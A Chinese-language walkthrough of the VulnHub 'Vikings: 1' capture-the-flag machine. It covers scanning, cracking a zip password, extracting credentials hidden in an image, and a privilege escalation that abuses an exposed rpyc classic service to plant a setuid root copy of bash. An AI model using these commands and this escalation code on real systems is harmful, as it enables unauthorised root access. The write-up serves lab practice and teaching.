靶机下载地址:Vikings: 1 ~ VulnHub
这个靶机和实战差距还是挺大的,很像CTF的类型
1.主机发现
arp-scan -l
2.端口扫描
nmap -p 1-65535 -A 192.168.56.108
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:d4:c0:fd:62:45:97:83:15:c0:15:b2:ac:25:60:99 (RSA)
| 256 7e:37:f0:11:63:80:15:a3:d3:9d:43:c6:09:be:fb:da (ECDSA)
|_ 256 52:e9:4f:71:bc:14:dc:00:34:f2:a7:b3:58:b5:0d:ce (ED25519)
80/tcp open http Apache httpd 2.4.29
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2020-10-29 21:07 site/
|_
|_http-server-header: Apache/2.4.29 (Ubuntu)
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4
3.目录扫描
个人喜欢直接使用dirsearch
dirsearch -u http://192.168.56.108/site/
没发现有用的信息,再试一下,扫目录一定不能佛系,再找个大字典尝试一下
gobuster dir -r -u http://192.168.56.108/site/ -x txt,html,php -w /usr/share/SecLists-master/Discovery/Web-Content/common.txt
4.漏洞发现
进入页面是这种结果: /war-is-over 带有一个/ 难道是路径,继续访问,访问成功,一大堆字符。这么大的字符可能是文件,用kali的curl命令下载下来
这里还可以使用CyberChef来判断内容的属性。使用的entropy模块,如果大于7.5,那么就很可能是加密或者压缩的文件。
CyberChefhttps://cyberchef.org/
使用detect file Type 模块,先base64解密的内容查看文件类型。发现就是zip
解压发现需要密码,那么只能破解了。
使用工具:zip2john,将 daima 这个文件编码一下,写在hash中,然后使用大字典
cp /usr/share/wordlists/rockyou.txt.gz .
解压:gunzip rockyou.txt.gz
zip2john daima > hash
john hash --wordlist=rockyou.txt
解压后文件名是king 一张图片,看不出信息。
可能是隐写了,图片中存在信息。。使用工具steghide 直接输入安装,可以发现,需要密码。也不知道怎么去爆破。换种工具试试。发现了压缩文件
binwalk -e king -e 提取 -B 测试
可以猜测出来,账户floki 密码f@m0usboatbuilde7
5.漏洞利用
登录
ssh floki@IP
输入密码
登录这账号试试。不知道密码,试不出来,试试sudo -s,不行
查看下信息,有什么,发现了两个文件
直接拿去翻译,看下boat
prime-number 素数,意思就是第29个素数
考拉兹猜想:一个正整数,奇数*3+1,如果是偶数,偶数/2,循环,最终都是得到1.
boat 中的意思是求第 29 个素数的 collatz-conjecture 结果,网上直接查的结果是109 。这里也写一下python代码的算法:
n = 0
for x in range(1000):
if x < 2:
continue
h = int(x / 2) + 1
for i in range(2,h):
if x % i == 0:
break
else:
n += 1
print(n,":",x)
再写一个求出考拉兹猜想的结果,因为提示中提示了只能是可打印的数值,ascii编码的范围,所以在255之内。
def collatz(x):
result = [109]
while x != 1:
if x % 2 == 1:
x = (3 * x) + 1
else:
x = (x / 2)
if x <= 255:
result.append(int(x))
return result
print(collatz(109))
使用工具:先把十进制数据转化,再把他们转换成可打印出的字符。最后在经过把换行替换成一行,方便观察,结果:mR)|>^/Gky[gz=\.F#j5P(
6.提权
使用密码登录ragnar账号,刚登进去就要密码。sudo 的密码。尝试也失败了,这应该是一个自启动文件。
去找一下自启动的程序的文件描述:通常来说,自启动文件都在这几个之中,还有 .bash_profile 挨个看一看。
发现了自启动文件的源头了。。
$ /bin/bash -i 输入可以使/bin/sh 升级成/bin/bash的shell
查看那个文件的权限,不能修改,能修改的话可以反弹shell直接就是root,
这里发现在监听 18812 端口,网上查了一下发现 rpyc_classic 是不安全的:
这里将root权限直接复制过来:
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
import os
os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
fn = conn.teleport(getshell)
fn()
运行 bashroot 并查看flag:
另一种提权思路:
发现是 lxd 组里的,可以在这里提权。
输入lxd,lxc,可以使用。
这里下载失败了。然后就懒得尝试了。。